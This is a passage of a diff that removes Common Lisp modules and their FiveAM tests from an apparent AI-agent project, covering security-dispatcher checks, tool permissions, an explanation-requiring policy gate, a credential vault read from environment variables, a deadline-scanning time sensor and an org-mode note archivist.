-    (is (eq :log (passepartout::tag-category-severity "@review"))))
-  (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
-
-(test test-tag-category-severity-unknown
-  "Contract v0.7.2: unknown tag returns nil."
-  (is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
-
-(test test-privacy-severity-block
-  "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
-  (setf passepartout::*tag-categories* '(("@personal" . :block)))
-  (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
-
-(test test-privacy-severity-warn
-  "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
-  (setf passepartout::*tag-categories* '(("@draft" . :warn)))
-  (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
-
-(test test-privacy-severity-nil
-  "v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
-  (setf passepartout::*tag-categories* nil)
-  (is (null (passepartout::dispatcher-privacy-severity '("public")))))
-
-(test test-tag-trigger-record
-  "v0.7.2: tag-trigger-record increments per-tag count."
-  (clrhash passepartout::*tag-trigger-count*)
-  (passepartout::tag-trigger-record "@personal")
-  (passepartout::tag-trigger-record "@personal")
-  (passepartout::tag-trigger-record "@draft")
-  (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
-  (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
-  (clrhash passepartout::*tag-trigger-count*))
-
-(test test-tag-categories-privacy-fallback
-  "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
-  (let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
-        (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
-        (saved-tag (uiop:getenv "TAG_CATEGORIES"))
-        (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
-    ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
-    (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
-    (sb-posix:unsetenv "TAG_CATEGORIES")
-    (passepartout::tag-categories-load)
-    (is (eq :block (passepartout::tag-category-severity "@personal")))
-    (is (eq :block (passepartout::tag-category-severity "@draft")))
-    ;; Restore
-    (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
-    (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
-    (passepartout::tag-categories-load)))
-
-(test test-safe-tool-read-only-auto-approve
-  "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
-  (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
-        (passepartout::make-cognitive-tool :name "test-ro-tool"
-                                          :description "Read-only test"
-                                          :parameters nil
-                                          :guard nil
-                                          :body nil
-                                          :read-only-p t))
-  (unwind-protect
-       (let* ((action '(:TYPE :REQUEST :TARGET :tool
-                        :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
-              (result (dispatcher-check action nil)))
-         (is (eq :REQUEST (getf result :type)))
-         (is (not (member (getf result :type) '(:LOG :approval-required)))))
-    (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
-
-(test test-safe-tool-write-still-checked
-  "Contract v0.7.2: write tools still go through full dispatcher check."
-  (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
-    (setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
-          (passepartout::make-cognitive-tool :name "write-file"
-                                            :description "File writer"
-                                            :parameters nil
-                                            :guard nil
-                                            :body nil
-                                            :read-only-p nil))
-    (unwind-protect
-         (progn
-           (setf (uiop:getenv "SELF_BUILD_MODE") "true")
-           (let* ((action '(:TYPE :REQUEST :TARGET :tool
-                            :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
-                  (result (dispatcher-check action nil)))
-             (is (eq :approval-required (getf result :level)))
-             (is (search "HITL" (getf (getf result :payload) :message)))))
-      (setf (uiop:getenv "SELF_BUILD_MODE") "false")
-      (if orig-tool
-          (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
-          (remhash "write-file" passepartout::*cognitive-tool-registry*)))))
-#+end_src* v0.8.0 Tests — Block Counts
-#+begin_src lisp
-(in-package :passepartout-security-dispatcher-tests)
-
-(test test-block-record-increments
-  "Contract 10: dispatcher-block-record increments per-gate count."
-  (clrhash passepartout::*dispatcher-block-counts*)
-  (is (= 1 (passepartout::dispatcher-block-record :shell-safety)))
-  (is (= 2 (passepartout::dispatcher-block-record :shell-safety)))
-  (is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*))))
-
-(test test-block-counts-summary
-  "Contract 11: dispatcher-block-counts-summary returns total and by-gate."
-  (clrhash passepartout::*dispatcher-block-counts*)
-  (passepartout::dispatcher-block-record :shell-safety)
-  (passepartout::dispatcher-block-record :shell-safety)
-  (passepartout::dispatcher-block-record :secret-path)
-  (let ((s (passepartout::dispatcher-block-counts-summary)))
-    (is (= 3 (getf s :total)))
-    (let ((by-gate (getf s :by-gate)))
-      (is (= 2 (cdr (assoc :shell-safety by-gate))))
-      (is (= 1 (cdr (assoc :secret-path by-gate)))))))
-
-(test test-block-counts-empty
-  "Contract 11: dispatcher-block-counts-summary returns zero when no blocks."
-  (clrhash passepartout::*dispatcher-block-counts*)
-  (let ((s (passepartout::dispatcher-block-counts-summary)))
-    (is (= 0 (getf s :total)))
-    (is (null (getf s :by-gate)))))

lisp/security-permissions.lisp

@@ -1,44 +0,0 @@
-(in-package :passepartout)
-
-(defvar *permission-table* (make-hash-table :test 'equal))
-
-(defun permission-set (tool-name level)
-  "Sets the permission level for a tool."
-  (setf (gethash (string-downcase (string tool-name)) *permission-table*) level))
-
-(defun permission-get (tool-name)
-  "Retrieves the permission level for a tool. Defaults to :ask."
-  (gethash (string-downcase (string tool-name)) *permission-table* :ask))
-
-(defskill :passepartout-security-permissions
-  :priority 600
-  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-security-permissions-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:permissions-suite))
-
-(in-package :passepartout-security-permissions-tests)
-
-(def-suite permissions-suite :description "Verification of Tool Permissions")
-(in-suite permissions-suite)
-
-(test test-permission-round-trip
-  "Contract 1: permission-set stores a level; permission-get retrieves it."
-  (permission-set "test-tool" :allow)
-  (is (eq :allow (permission-get "test-tool")))
-  ;; Clean up
-  (permission-set "test-tool" nil))
-
-(test test-permission-default
-  "Contract 2: unregistered tools default to :ask."
-  (is (eq :ask (permission-get "never-registered-tool-xyz"))))
-
-(test test-permission-case-insensitive
-  "Contract 3: tool names are normalized to lowercase."
-  (permission-set :CapitalTool :deny)
-  (is (eq :deny (permission-get :capitaltool)))
-  (permission-set "CapitalTool" nil))

lisp/security-policy.lisp

@@ -1,50 +0,0 @@
-(in-package :passepartout)
-
-(defun policy-compliance-check (action context)
-  "Enforces constitutional invariants on proposed actions."
-  (declare (ignore context))
-  (let* ((payload (proto-get action :payload))
-         (explanation (proto-get payload :explanation)))
-    (if (and explanation (stringp explanation) (> (length explanation) 10))
-        action
-        (progn
-          (log-message "POLICY VIOLATION: Action lacks sufficient explanation.")
-          (list :type :LOG
-                :payload (list :level :warn
-                              :text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning."))))))
-
-(defskill :passepartout-security-policy
-  :priority 500
-  :trigger (lambda (ctx) (declare (ignore ctx)) t)
-  :deterministic #'policy-compliance-check)
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-security-policy-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:policy-suite))
-
-(in-package :passepartout-security-policy-tests)
-
-(def-suite policy-suite :description "Verification of the Constitutional Policy Layer")
-(in-suite policy-suite)
-
-(test test-policy-passes-valid-explanation
-  "Contract 1: action with sufficient explanation passes through unchanged."
-  (let* ((action '(:type :REQUEST :payload (:action :read :explanation "The user asked me to read the TODO list for today.")))
-         (result (policy-compliance-check action nil)))
-    (is (equal action result))))
-
-(test test-policy-rejects-short-explanation
-  "Contract 1: action with explanation ≤10 characters is rejected with :LOG."
-  (let* ((action '(:type :REQUEST :payload (:action :read :explanation "hi")))
-         (result (policy-compliance-check action nil)))
-    (is (eq :LOG (getf result :type)))
-    (is (search "blocked" (getf (getf result :payload) :text) :test #'char-equal))))
-
-(test test-policy-rejects-missing-explanation
-  "Contract 1: action without :explanation is rejected."
-  (let* ((action '(:type :REQUEST :payload (:action :read)))
-         (result (policy-compliance-check action nil)))
-    (is (eq :LOG (getf result :type)))))

lisp/security-validator.lisp

@@ -1,43 +0,0 @@
-(in-package :passepartout)
-
-(defun validator-protocol-check (msg)
-  "Enforces structural schema compliance on protocol messages."
-  (validate-communication-protocol-schema msg))
-
-(defskill :passepartout-security-validator
-  :priority 95
-  :trigger (lambda (ctx) (declare (ignore ctx)) t)
-  :deterministic (lambda (action ctx)
-                   (declare (ignore ctx))
-                   (handler-case
-                       (progn (validator-protocol-check action) action)
-                     (error (c)
-                       (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-security-validator-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:validator-suite))
-
-(in-package :passepartout-security-validator-tests)
-
-(def-suite validator-suite :description "Verification of the Protocol Validator")
-(in-suite validator-suite)
-
-(test test-validator-passes-valid-message
-  "Contract 1: a valid message passes protocol check."
-  (let ((msg '(:type :EVENT :payload (:sensor :heartbeat))))
-    (handler-case
-        (progn
-          (validator-protocol-check msg)
-          (pass))
-      (error (c)
-        (fail "Validator rejected a valid message: ~a" c)))))
-
-(test test-validator-rejects-missing-type
-  "Contract 1: a message missing :type is rejected."
-  (let ((msg '(:payload (:sensor :heartbeat))))
-    (signals error
-      (validator-protocol-check msg))))

lisp/security-vault.lisp

@@ -1,86 +0,0 @@
-(in-package :passepartout)
-
-(defvar *vault-memory* (make-hash-table :test 'equal)
-  "In-memory cache of sensitive credentials.")
-
-(defun vault-get (provider &key (type :api-key))
-  "Retrieves a credential from the vault or environment."
-  (let* ((key (format nil "~a-~a" provider type))
-         (val (gethash key *vault-memory*)))
-    (if val
-        val
-        (let ((env-var (case provider
-                          (:gemini "GEMINI_API_KEY")
-                          (:openai "OPENAI_API_KEY")
-                          (:anthropic "ANTHROPIC_API_KEY")
-                          (:openrouter "OPENROUTER_API_KEY")
-                          (otherwise nil))))
-          (when env-var (uiop:getenv env-var))))))
-
-(defun vault-set (provider secret &key (type :api-key))
-  "Stores a secret in the vault."
-  (let ((key (format nil "~a-~a" provider type)))
-    (setf (gethash key *vault-memory*) secret)))
-
-(defun vault-get-secret (provider)
-  "Retrieves a stored secret or token for a gateway provider."
-  (vault-get provider :type :secret))
-
-(defun vault-set-secret (provider secret)
-  "Stores a secret or token for a gateway provider."
-  (vault-set provider secret :type :secret))
-
-(defskill :passepartout-security-vault
-  :priority 600
-  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-security-vault-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:vault-suite))
-
-(in-package :passepartout-security-vault-tests)
-
-(def-suite vault-suite :description "Verification of the Credentials Vault")
-(in-suite vault-suite)
-
-(test test-vault-round-trip
-  "Contract 1: vault-set stores a value; vault-get retrieves it."
-  (let ((test-key :vault-test-round-trip)
-        (test-secret "secret-abc123"))
-    (vault-set test-key test-secret)
-    (is (string= test-secret (vault-get test-key)))
-    ;; Clean up
-    (vault-set test-key nil)))
-
-(test test-vault-missing-key
-  "Contract 2: vault-get returns NIL for an unset, unknown provider."
-  (is (null (vault-get :nonexistent-provider-xyz))))
-
-(test test-vault-isolation
-  "Contract 5: storing for provider A does not affect provider B."
-  (vault-set :vault-prov-a "secret-a")
-  (vault-set :vault-prov-b "secret-b")
-  (is (string= "secret-a" (vault-get :vault-prov-a)))
-  (is (string= "secret-b" (vault-get :vault-prov-b)))
-  (vault-set :vault-prov-a nil)
-  (vault-set :vault-prov-b nil))
-
-(test test-vault-secret-wrappers
-  "Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret."
-  (let ((test-provider :vault-secret-test))
-    (vault-set-secret test-provider "my-token")
-    (is (string= "my-token" (vault-get-secret test-provider)))
-    ;; Clean up
-    (vault-set-secret test-provider nil)))
-
-(test test-vault-type-isolation
-  "Contract 5: different :type values produce different keys."
-  (vault-set :vault-type-test "key-value" :type :api-key)
-  (vault-set :vault-type-test "secret-value" :type :secret)
-  (is (string= "key-value" (vault-get :vault-type-test :type :api-key)))
-  (is (string= "secret-value" (vault-get :vault-type-test :type :secret)))
-  (vault-set :vault-type-test nil :type :api-key)
-  (vault-set :vault-type-test nil :type :secret))

lisp/sensor-time.lisp

@@ -1,169 +0,0 @@
-(in-package :passepartout)
-
-(defvar *session-start-time* nil
-  "Universal time when sensor-time skill was loaded.")
-
-(defun session-duration ()
-  "Returns duration in seconds since skill load, or nil if not initialized."
-  (when *session-start-time*
-    (- (get-universal-time) *session-start-time*)))
-
-(defun sensor-time-initialize ()
-  "Record session start and register deadline-scanning cron."
-  (setf *session-start-time* (get-universal-time))
-  (handler-case
-      (when (fboundp 'orchestrator-register-cron)
-        (orchestrator-register-cron "time-tick"
-          :action (lambda () (sensor-time-tick))
-          :tier :reflex
-          :repeat "+1m"))
-    (error (c)
-      (log-message "SENSOR-TIME: Could not register cron: ~a" c))))
-
-(defun format-time-for-llm (&key (session-duration-seconds nil))
-  "Returns a TIME: section string for the system prompt.
-When TIME_AWARENESS=false, returns empty string.
-TIME_FORMAT: iso = 2026-05-08T06:30:00Z, natural = 6:30 AM UTC, Thu May 8 2026.
-When session-duration-seconds is provided, includes session info."
-  (unless (or (uiop:getenv "TIME_AWARENESS")
-              (not (string-equal "false" (or (uiop:getenv "TIME_AWARENESS") "true"))))
-    (return-from format-time-for-llm ""))
-  (let ((time-aware (uiop:getenv "TIME_AWARENESS")))
-    (when (and time-aware (string-equal time-aware "false"))
-      (return-from format-time-for-llm "")))
-  (multiple-value-bind (sec minute hour date month year day daylight zone)
-      (decode-universal-time (get-universal-time) 0)
-    (declare (ignore daylight zone))
-    (let* ((format (or (uiop:getenv "TIME_FORMAT") "iso"))
-           (iso-str (format nil "~4,'0d-~2,'0d-~2,'0dT~2,'0d:~2,'0d:~2,'0dZ"
-                            year month date hour minute (round sec)))
-           (day-names '("Mon" "Tue" "Wed" "Thu" "Fri" "Sat" "Sun"))
-           (month-names '("Jan" "Feb" "Mar" "Apr" "May" "Jun"
-                          "Jul" "Aug" "Sep" "Oct" "Nov" "Dec"))
-           (natural-str (format nil "~2,'0d:~2,'0d UTC, ~a ~a ~d ~d"
-                                hour minute (nth day day-names)
-                                (nth (1- month) month-names) date year))
-           (time-str (if (string-equal format "natural") natural-str iso-str))
-           (dur-str (when session-duration-seconds
-                      (let* ((hours (floor session-duration-seconds 3600))
-                             (mins (floor (mod session-duration-seconds 3600) 60)))
-                        (if (> hours 0)
-                            (format nil " Session: ~dh ~dm." hours mins)
-                            (format nil " Session: ~dm." mins))))))
-      (if dur-str
-          (format nil "TIME: ~a.~a" time-str dur-str)
-          (format nil "TIME: ~a." time-str)))))
-
-(defvar *deadline-warning-minutes* nil)
-
-(defun sensor-time-tick ()
-  "Scans memory for approaching deadlines. Returns a formatted note string
-if any deadlines are within *deadline-warning-minutes*, nil otherwise.
-Called by the time-tick cron job every minute."
-  (let ((warning-min (or *deadline-warning-minutes*
-                         (ignore-errors
-                           (parse-integer (uiop:getenv "DEADLINE_WARNING_MINUTES")))
-                         60)))
-    (setf *deadline-warning-minutes* warning-min)
-    (let ((now (get-universal-time))
-          (deadlines nil))
-      (maphash (lambda (id obj)
-                 (declare (ignore id))
-                 (let ((attrs (memory-object-attributes obj)))
-                   (let ((deadline (getf attrs :DEADLINE))
-                         (scheduled (getf attrs :SCHEDULED))
-                         (title (getf attrs :TITLE)))
-                     (dolist (prop (list deadline scheduled))
-                       (when prop
-                         (handler-case
-                             (let* ((parsed (parse-integer prop :junk-allowed t))
-                                    (d-minutes (if parsed
-                                                   (- (round (/ (- parsed now) 60))
-                                                       warning-min)
-                                                   nil)))
-                               (when (and d-minutes (< d-minutes warning-min))
-                                 (push (list :title title
-                                             :minutes (- (round (/ (- (or parsed 0) now) 60))))
-                                       deadlines)))
-                           (error () nil)))))))
-               *memory-store*)
-      (when deadlines
-        (let* ((sorted (sort deadlines #'< :key (lambda (d) (getf d :minutes))))
-               (parts (loop for d in sorted collect
-                           (let* ((mins (getf d :minutes))
-                                  (label (cond
-                                           ((< mins 0) (format nil "~dmin overdue" (- mins)))
-                                           ((= mins 0) "now")
-                                           (t (format nil "~dmin" mins)))))
-                             (format nil "~a (~a)" (getf d :title) label)))))
-          (format nil "~d deadlines approaching: ~{~a; ~}" (length parts) parts))))))
-
-(sensor-time-initialize)
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-sensor-time-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:sensor-time-suite))
-
-(in-package :passepartout-sensor-time-tests)
-
-(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines")
-(in-suite sensor-time-suite)
-
-(test test-format-time-for-llm-includes-year
-  "Contract 1: format-time-for-llm returns a string with the current year."
-  (let ((result (passepartout::format-time-for-llm)))
-    (is (stringp result))
-    (is (search "202" result))
-    (is (search "TIME" result))))
-
-(test test-format-time-for-llm-utc
-  "Contract 1: iso format includes Z suffix."
-  (let ((result (passepartout::format-time-for-llm)))
-    (is (stringp result))
-    (is (search "Z" result))))
-
-(test test-format-time-for-llm-natural
-  "Contract 1: natural format produces human-readable date."
-  (let ((old-env (or (uiop:getenv "TIME_FORMAT") "")))
-    (unwind-protect
-         (progn
-           (setf (uiop:getenv "TIME_FORMAT") "natural")
-           (let ((result (passepartout::format-time-for-llm)))
-             (is (stringp result))
-             (is (search "UTC" result))))
-      (setf (uiop:getenv "TIME_FORMAT") old-env))))
-
-(test test-format-time-for-llm-with-session
-  "Contract 1: with session duration, includes session info."
-  (let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720)))
-    (is (search "1h 2m" result))))
-
-(test test-session-duration
-  "Contract 2: session-duration returns a positive number after init."
-  (passepartout::sensor-time-initialize)
-  (let ((dur (passepartout::session-duration)))
-    (is (numberp dur))
-    (is (>= dur 0))))
-
-(test test-sensor-time-tick-empty
-  "Contract 3: sensor-time-tick returns nil when no deadlines are near."
-  (clrhash passepartout::*memory-store*)
-  (let ((result (passepartout::sensor-time-tick)))
-    (is (null result))))
-
-(test test-sensor-time-tick-detects-deadline
-  "Contract 3: sensor-time-tick detects a deadline close in time."
-  (clrhash passepartout::*memory-store*)
-  (setf passepartout::*deadline-warning-minutes* 120)
-  (let ((near-future-time (- (get-universal-time) 60)))  ; 1 minute ago
-    (ingest-ast (list :type :HEADLINE
-                       :properties (list :ID "deadline-test"
-                                         :TITLE "Submit report"
-                                         :DEADLINE (write-to-string near-future-time))
-                       :contents nil)))
-  (let ((result (passepartout::sensor-time-tick)))
-    (is (not (null result)))
-    (is (search "Submit report" result))))

lisp/symbolic-archivist.lisp

@@ -1,279 +0,0 @@
-(in-package :passepartout)
-
-(in-package :passepartout)
-
-(defvar *archivist-last-scribe* 0
-  "Universal time of the last Scribe distillation run.")
-
-(defvar *archivist-last-gardener* 0
-  "Universal time of the last Gardener scan run.")
-
-(defvar *archivist-gardener-interval* 86400
-  "Seconds between Gardener scans. Default: 24 hours.")
-
-(defun archivist-scribe-distill ()
-  "Distills daily log entries into atomic notes. Reads the Memex daily/
-directory for log files modified since the last run, extracts headlines
-as potential note seeds, and creates atomic note files in notes/ with
-backlinks to the source daily entry."
-  (let* ((memex-dir (or (uiop:getenv "MEMEX_DIR")
-                        (namestring (merge-pathnames "memex/" (user-homedir-pathname)))))
-         (daily-dir (merge-pathnames "daily/" memex-dir))
-         (notes-dir (merge-pathnames "notes/" memex-dir))
-         (now (get-universal-time))
-         (notes-created 0))
-    (unless (uiop:directory-exists-p daily-dir)
-      (log-message "ARCHIVIST: Daily directory not found: ~a" daily-dir)
-      (return-from archivist-scribe-distill nil))
-    (ensure-directories-exist notes-dir)
-    (handler-case
-        (let ((daily-files (uiop:directory-files daily-dir "*.org")))
-          (dolist (file daily-files)
-            (let* ((filepath (namestring file))
-                   (file-mtime (ignore-errors (file-write-date filepath))))
-              (when (and file-mtime (> file-mtime *archivist-last-scribe*))
-                ;; Extract headlines from daily log
-                (let* ((content (handler-case (uiop:read-file-string filepath)
-                                  (error () nil)))
-                       (headlines (when content
-                                    (archivist-extract-headlines content))))
-                  (dolist (hl headlines)
-                    (when (archivist-create-note hl notes-dir filepath)
-                      (incf notes-created))))))))
-      (error (c)
-        (log-message "ARCHIVIST: Scribe error: ~a" c)))
-    (setf *archivist-last-scribe* now)
-    (when (> notes-created 0)
-      (log-message "ARCHIVIST: Scribe created ~d atomic notes" notes-created))
-    notes-created))
-
-(defun archivist-extract-headlines (content)
-  "Extracts first-level headlines and their content from Org text.
-Returns a list of plists: (:title <str> :content <str> :tags <list>)."
-  (let ((lines (uiop:split-string content :separator '(#\Newline)))
-        (results nil)
-        (current-title nil)
-        (current-lines nil)
-        (current-tags nil)
-        (in-properties nil))
-    (dolist (line lines)
-      (let ((trimmed (string-trim '(#\Space) line)))
-        (when (string= trimmed ":PROPERTIES:")
-          (setf in-properties t))
-        (when (string= trimmed ":END:")
-          (setf in-properties nil))
-        (when (and in-properties (uiop:string-prefix-p ":TAGS:" trimmed))
-          (setf current-tags
-                (mapcar (lambda (tag) (string-trim '(#\Space) tag))
-                        (uiop:split-string (string-trim '(#\Space) (subseq trimmed 6))
-                                           :separator '(#\space #\tab)))))
-        (cond
-          ;; First-level headline
-          ((and (uiop:string-prefix-p "* " trimmed)
-                (not (uiop:string-prefix-p "**" trimmed)))
-           ;; Save previous
-           (when current-title
-             (push (list :title current-title
-                         :content (format nil "~{~a~^~%~}" (nreverse current-lines))
-                         :tags current-tags)
-                   results))
-           (setf current-title (string-trim '(#\* #\Space) trimmed)
-                 current-lines nil
-                 current-tags nil
-                 in-properties nil))
-          ;; Content lines under current headline
-          (current-title
-           (unless (or (uiop:string-prefix-p "*" trimmed)
-                       (string= trimmed ":PROPERTIES:")
-                       (string= trimmed ":END:"))
-             (push line current-lines))))))
-    ;; Save last headline
-    (when current-title
-      (push (list :title current-title
-                  :content (format nil "~{~a~^~%~}" (nreverse current-lines))
-                  :tags current-tags)
-            results))
-    (nreverse results)))
-
-(defun archivist-headline-to-filename (title)
-  "Converts a headline title to a valid atomic note filename.
-Replaces spaces and special chars with underscores, downcases."
-  (let* ((clean (cl-ppcre:regex-replace-all "[^a-zA-Z0-9 ]" title ""))
-         (underscored (cl-ppcre:regex-replace-all "\\s+" clean "_"))
-         (lowered (string-downcase underscored)))
-    (if (> (length lowered) 100)
-        (subseq lowered 0 100)
-        lowered)))
-
-(defun archivist-create-note (headline notes-dir source-filepath)
-  "Creates an atomic note from a headline plist in the notes/ directory.
-Headline is a plist (:title <str> :content <str> :tags <list>).
-Returns T if note was created, nil if it already exists."
-  (let* ((title (getf headline :title))
-         (content (or (getf headline :content) ""))
-         (tags (getf headline :tags))
-         (filename (archivist-headline-to-filename title))
-         (filepath (merge-pathnames (format nil "~a.org" filename) notes-dir))
-         (source-basename (enough-namestring source-filepath
-                                             (merge-pathnames "" notes-dir))))
-    (when (uiop:file-exists-p filepath)
-      (return-from archivist-create-note nil))
-    (handler-case
-        (progn
-          (uiop:with-output-file (s filepath :if-exists nil)
-            (format s "#+TITLE: ~a~%" title)
-            (format s "#+FILETAGS: :atomic:note:~:[~;~{~a~^:~}~]~%" tags tags)
-            (format s "~%* ~a~%" title)
-            (format s ":PROPERTIES:~%")
-            (format s ":CREATED: ~a~%" (org-id-generate))
-            (format s ":SOURCE: ~a~%" source-basename)
-            (format s ":END:~%")
-            (format s "~%~a~%" content)
-            (format s "~%* Backlinks~%")
-            (format s "- Source: [[file:~a][~a]]~%" source-basename
-                    (file-namestring source-filepath)))
-          (log-message "ARCHIVIST: Created note ~a" (namestring filepath))
-          t)
-      (error (c)
-        (log-message "ARCHIVIST: Failed to create note ~a: ~a" filepath c)
-        nil))))
-
-(defun archivist-gardener-scan ()
-  "Scans the Memex for broken file links and orphaned memory objects.
-Broken links are =[[file:...]]= references whose target file does not exist.
-Orphaned objects are =memory-object= entries whose =:parent-id= references
-a deleted object. Returns a plist (:broken-links <count> :orphans <count>)."
-  (let* ((memex-dir (or (uiop:getenv "MEMEX_DIR")
-                        (namestring (merge-pathnames "memex/" (user-homedir-pathname)))))
-         (org-files (archivist-find-org-files memex-dir))
-         (broken-links 0)
-         (orphans 0))
-    ;; Scan for broken links
-    (dolist (file org-files)
-      (handler-case
-          (let* ((content (uiop:read-file-string file))
-                 (links (archivist-extract-file-links content)))
-            (dolist (link links)
-              (let ((target (merge-pathnames link (make-pathname :directory
-                                  (pathname-directory file)))))
-                (unless (uiop:file-exists-p target)
-                  (log-message "ARCHIVIST: Broken link in ~a -> ~a"
-                               (enough-namestring file memex-dir) link)
-                  (incf broken-links)))))
-        (error ()
-          (log-message "ARCHIVIST: Could not read ~a" file))))
-    ;; Scan for orphaned memory objects
-    (handler-case
-        (let ((deleted-ids (make-hash-table :test 'equal)))
-          ;; In practice, we check if parent-id points to a non-existent object
-          (maphash (lambda (id obj)
-                     (declare (ignore obj))
-                     (setf (gethash id deleted-ids) t))
-                   (if (boundp '*memory-store*)
-                       (symbol-value '*memory-store*)
-                       (make-hash-table :test 'equal)))
-          (let ((store (if (boundp '*memory-store*)
-                           (symbol-value '*memory-store*)
-                           (make-hash-table :test 'equal))))
-            (maphash (lambda (id obj)
-                       (let ((parent (memory-object-parent-id obj)))
-                         (when (and parent (not (gethash parent store)))
-                           (log-message "ARCHIVIST: Orphaned object ~a (parent ~a not found)"
-                                        id parent)
-                           (incf orphans))))
-                     store)))
-      (error ()
-        (log-message "ARCHIVIST: Memory store not available for orphan scan")))
-    (setf *archivist-last-gardener* (get-universal-time))
-    (list :broken-links broken-links :orphans orphans)))
-
-(defun archivist-find-org-files (memex-dir)
-  "Recursively finds all .org files under memex-dir, up to 3 levels deep."
-  (let ((files nil))
-    (labels ((walk (dir depth)
-               (when (and (uiop:directory-exists-p dir) (< depth 3))
-                 (handler-case
-                     (dolist (entry (uiop:subdirectories dir))
-                       (walk entry (1+ depth)))
-                   (error ()))
-                 (handler-case
-                     (dolist (file (uiop:directory-files dir "*.org"))
-                       (push (namestring file) files))
-                   (error ())))))
-      (walk memex-dir 0))
-    files))
-
-(defun archivist-extract-file-links (content)
-  "Extracts all =[[file:...]]= link targets from Org content.
-Returns a list of link target strings."
-  (let ((links nil))
-    (cl-ppcre:do-register-groups (target)
-        ("\\[\\[file:([^\\]]+)\\]\\[" content)
-      (unless (search "::" target)  ;; skip internal anchors
-        (pushnew target links :test #'string=)))
-    ;; Also handle bare [[file:target]] links
-    (cl-ppcre:do-register-groups (target)
-        ("\\[\\[file:([^\\]]+)\\]\\]" content)
-      (unless (search "::" target)
-        (pushnew target links :test #'string=)))
-    links))
-
-(defun archivist-run (action context)
-  "Runs the archivist maintenance cycle. Checks Scribe and Gardener schedules
-and dispatches as needed. Called by the deterministic gate."
-  (declare (ignore action context))
-  (let ((now (get-universal-time)))
-    ;; Scribe runs every 6 hours (21600 seconds)
-    (when (>= (- now *archivist-last-scribe*) 21600)
-      (ignore-errors (archivist-scribe-distill)))
-    ;; Gardener runs every 24 hours
-    (when (>= (- now *archivist-last-gardener*) *archivist-gardener-interval*)
-      (ignore-errors
-        (let ((result (archivist-gardener-scan)))
-          (when (> (getf result :broken-links) 0)
-            (log-message "ARCHIVIST: Gardener found ~d broken links, ~d orphans"
-                         (getf result :broken-links) (getf result :orphans)))))))
-  nil)
-
-(defskill :passepartout-symbolic-archivist
-  :priority 100
-  :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat))
-  :deterministic #'archivist-run)
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-symbolic-archivist-tests
-  (:use :cl :passepartout)
-  (:export #:archivist-suite))
-
-(in-package :passepartout-symbolic-archivist-tests)
-
-(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill")
-(fiveam:in-suite archivist-suite)
-
-(fiveam:test test-extract-headlines
-  "Contract 1: archivist-extract-headlines parses Org content."
-  (let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline"))
-         (headlines (archivist-extract-headlines content)))
-    (fiveam:is (listp headlines))
-    (fiveam:is (>= (length headlines) 1))))
-
-(fiveam:test test-headline-to-filename
-  "Contract 2: archivist-headline-to-filename sanitizes titles."
-  (let ((filename (archivist-headline-to-filename "My Project: Overview")))
-    (fiveam:is (search "my_project_overview" filename :test #'char-equal))
-    (fiveam:is (not (search ":" filename)))))
-
-(fiveam:test test-archivist-create-note
-  "Contract 3: archivist-create-note writes a Zettelkasten note to disk."
-  (let* ((tmp-dir "/tmp/passepartout-archivist-test/")
-         (headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic"))))
-    (uiop:ensure-all-directories-exist (list tmp-dir))
-    (unwind-protect
-         (progn
-           (fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org"))
